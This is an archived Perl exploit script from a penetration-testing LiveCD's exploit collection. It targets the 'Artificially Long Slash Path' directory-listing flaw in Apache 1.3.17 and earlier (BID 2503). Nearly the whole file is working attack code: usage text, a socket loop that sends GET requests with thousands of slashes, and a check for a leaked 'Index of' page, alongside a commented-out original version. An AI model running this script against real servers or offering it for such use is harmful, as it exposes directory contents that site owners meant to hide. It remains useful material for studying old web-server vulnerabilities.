home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / apache2.pl < prev    next >
Encoding:
Perl Script  |  2005-02-12  |  7.1 KB  |  215 lines
  1. #!/usr/bin/perl
  2. #
  3. # orginal by farm9, Inc. (copyright 2001)
  4. # new modified code by Siberian (www.sentry-labs.com)
  5. #
  6. ########################################################################################
  7. #
  8. # Note: This isn't the orginal exploit! This one was modified and partly rewritten. 
  9. #
  10. # Changes:
  11. #
  12. # - help added (more user firendly :-) )
  13. # - messages added 
  14. # - exploit is now able to be executed on WinNT or 2k.
  15. # - uses perl version of BSD sockets (compatible to Windows)
  16. # 
  17. # Rewriter's Note: I rewrote (I was bored to death that evening :-) ) some
  18. # of the code and made it esaier to use and cross platform compatible.
  19. # The old verion used a esaier but not that compaible way of socket stream communication.  
  20. # Any network code was replaced by cross platform compatible BSD sockets.
  21. # (much better than any other stream method :-) )
  22. # 
  23. # Tested with Perl 5.6 (Linux) and ActivePerl 5.6 (Win32)
  24. #
  25. # Original comment and source is attached below.
  26. #
  27. ########################################################################################
  28. #
  29. # Name: Apache Artificially Long Slash Path Directory Listing Exploit
  30. # Author: Matt Watchinski
  31. # Ref: SecurityFocus BID 2503
  32. #
  33. # Affects: Apache 1.3.17 and below
  34. # Tested on: Apache 1.3.12 running on Debian 2.2
  35. #
  36. # Info:  This exploit tricks apache into returning a Index of the a directory
  37. #    even if an index.html file is present.  May not work on some OS's
  38. #
  39. # Details: http_request.c has a subroutine called ap_sub_req_lookup_file that in
  40. #       very specific cases would feed stat() a filename that was longer than
  41. #       stat() could handle.  This would result in a condition where stat()
  42. #       would return 0 and a directory index would be returned instead of the
  43. #       default index.html.
  44. #
  45. # Code Fragment: /src/main/http_request.c
  46. #    if (strchr(new_file, '/') == NULL) {
  47. #        char *udir = ap_make_dirstr_parent(rnew->pool, r->uri);
  48. #
  49. #        rnew->uri = ap_make_full_path(rnew->pool, udir, new_file);
  50. #        rnew->filename = ap_make_full_path(rnew->pool, fdir, new_file);
  51. #        ap_parse_uri(rnew, rnew->uri);    /* fill in parsed_uri values */
  52. #        if (stat(rnew->filename, &rnew->finfo) < 0) {   <-- Important part
  53. #            rnew->finfo.st_mode = 0;
  54. #        }
  55. #
  56. # Conditions: Mod_dir / Mod_autoindex / Mod_negotiation need to be enabled
  57. #          The directory must also have the following Options enabled:
  58. #             Indexes and MultiView
  59. #          Some OS's have different conditions on the number of character
  60. #          you have to pass to stat to make this work.  If stat doesn't
  61. #          return 0 for path names less than 8192 or so internal apache
  62. #          buffer checks will stop this exploit from working.
  63. #
  64. #           Debian needed around 4060 /'s to make this work.
  65. #
  66. # Greets: Special thanks to natasha who added a lot of debug to apache for me
  67. #      while i was trying to figure out what had to be enabled to make this
  68. #      exploit work.  Also thanks to rfp for pointing out that MultiView
  69. #      needed to be enabled.
  70. #
  71. # More Greets:  Jeff for not shooting me :) <All your Cisco's belong to us>
  72. #               Anne for being so sexy <I never though corporate espionage
  73. #                   would be so fun>
  74. #               All my homies at farm9
  75. #               DJ Charles / DJ NoloN for the phat beats
  76. #               Marty (go go gadget snort)
  77. #               All my ex-bees
  78. #               RnVjazpIaXZlcndvcmxk
  79. #
  80. # I think that wraps it up.  Have fun.
  81. #
  82. # Usage: ./apacheIndex.pl <host> <port> <HI> <Low>
  83. # Where: Hi and low are the range for the number of / to try
  84. #
  85. #use IO::Socket;
  86. #
  87. #$low  = $ARGV[3]; #Low number of slash characters to try
  88. #$hi   = $ARGV[2]; #High number of slash characters to try
  89. #$port = $ARGV[1]; #Port to try to connect to
  90. #$host = $ARGV[0]; #Host to try to connect to
  91. #
  92. # Main loop.  Not much to this exploit once you figure out what needed to
  93. # be enabled.  Need to do some more testing on sub-dirs to see if it
  94. # works with them.  It should. Also different OS's might use a different number
  95. # of /.  Send me the numbers if you don't mind matt@farm9.com
  96. #
  97. #while($low <= $hi)
  98. #{
  99. #
  100. #$socket = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto => "TCP") or die "Connect Failed";
  101. #
  102. #  $url = "";
  103. #  $buffer = "";
  104. #  $end = "";
  105. #
  106. #  $url = "GET ";
  107. #  $buffer = "/" x $low . " HTTP/1.0\r\n";
  108. #  $end = "\r\n\r\n";
  109. #
  110. #  $url = $url . $buffer . $end;
  111. #
  112. #  print $socket "$url";
  113. #  while(<$socket>)
  114. #  {
  115. #    if($_ =~ "Index of")
  116. #    {
  117. #      print "Found the magic number: $low\n";
  118. #      print "Now go do it by hand to to see it all\n";
  119. #      close($socket);
  120. #      exit;
  121. #    }
  122. #  }
  123. #
  124. #  close($socket);
  125. #  $low++;
  126. #}
  127.  
  128.  
  129. use Socket;
  130.  
  131. print "Apache Artificially Long Slash Path Directory Listing Exploit\nSecurityFocus BID 2503\n\n";
  132. print "original exploit code written by Matt Watchinski (www.farm9.com)\n";
  133. print "rewritten and fixed by Siberian (www.sentry-labs.com)\n\n";
  134. $host = shift || 'localhost'; #Host to try to connect to
  135. $port = shift || '80'; #Port to try to connect to
  136. $hi   = shift || '100'; #High number of slash characters to try
  137. $low  = shift || '0'; #Low number of slash characters to try
  138. if(($host eq 'localhost') && ($port eq '80') && ($hi eq '100') && ($low eq '0')) {
  139. print 'Usage: ./apache2.pl <host> <port> <HI> <Low>';
  140. print "\nHi and low are the range for the number of \/ to try\n";
  141. exit 0;
  142. }
  143.  
  144. print "\ntarget: $host";
  145. print "\nport: $port";
  146. print "\nhi: $hi";
  147. print "\nlow: $low\n\nStarting attack...\n\n";
  148.  
  149. # Main loop.  Not much to this exploit once you figure out what needed to
  150. # be enabled.  Need to do some more testing on sub-dirs to see if it
  151. # works with them.  It should. Also different OS's might use a different number
  152. # of /.  Send me the numbers if you don't mind matt@farm9.com
  153.  
  154. $url = "";
  155. $buffer = "";
  156. $end = "";
  157.  
  158. #$port = (getservbyname($port, 'tcp') || die "No port!");
  159.  
  160. $iaddr = inet_aton($host);
  161. $paddr = sockaddr_in($port, $iaddr) or die "Faild ...  SOCKADDR_IN!";
  162.  
  163. $proto = getprotobyname('tcp');
  164.  
  165. while($low <= $hi) {
  166.  
  167. socket(SOCKY, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  168. connect(SOCKY, $paddr ) or die "connect: $!";;
  169.  
  170. $url = "GET ";
  171. $buffer = "/" x  $low .  " HTTP/1.0\r\n";
  172. $end = "\r\n\r\n";
  173.  
  174. $url = $url . $buffer . $end;
  175.  
  176. print ".";
  177.  
  178.  send(SOCKY,$url,0) or die "send: $!";;
  179.  
  180.  while((recv(SOCKY,$out,1,0)) && ($out ne "")) { 
  181.     if($out eq "I") {
  182.      recv(SOCKY,$out,1,0);
  183.      if($out eq "n") {
  184.       recv(SOCKY,$out,1,0);
  185.       if($out eq "d") {
  186.        recv(SOCKY,$out,1,0);
  187.        if($out eq "e") {
  188.         recv(SOCKY,$out,1,0);
  189.         if($out eq "x") {
  190.          recv(SOCKY,$out,1,0);
  191.           if($out eq " ") {
  192.            recv(SOCKY,$out,1,0);
  193.            if($out eq "o") {
  194.             recv(SOCKY,$out,1,0);
  195.              if($out eq "f") {
  196.            print "Found the magic number: $low\n";
  197.            print "Now go do it by hand to to see it all\n";
  198.            close(SOCKY);
  199.            exit 0;
  200.            }  
  201.           }  
  202.          }  
  203.         }  
  204.        }
  205.       }  
  206.      }  
  207.     }
  208.    }
  209.  
  210.   close(SOCKY);
  211.   $low++;
  212. }
  213. print "\n\nNot vulnerable :-(\nCheck some other numbers.\n";
  214.  
  215.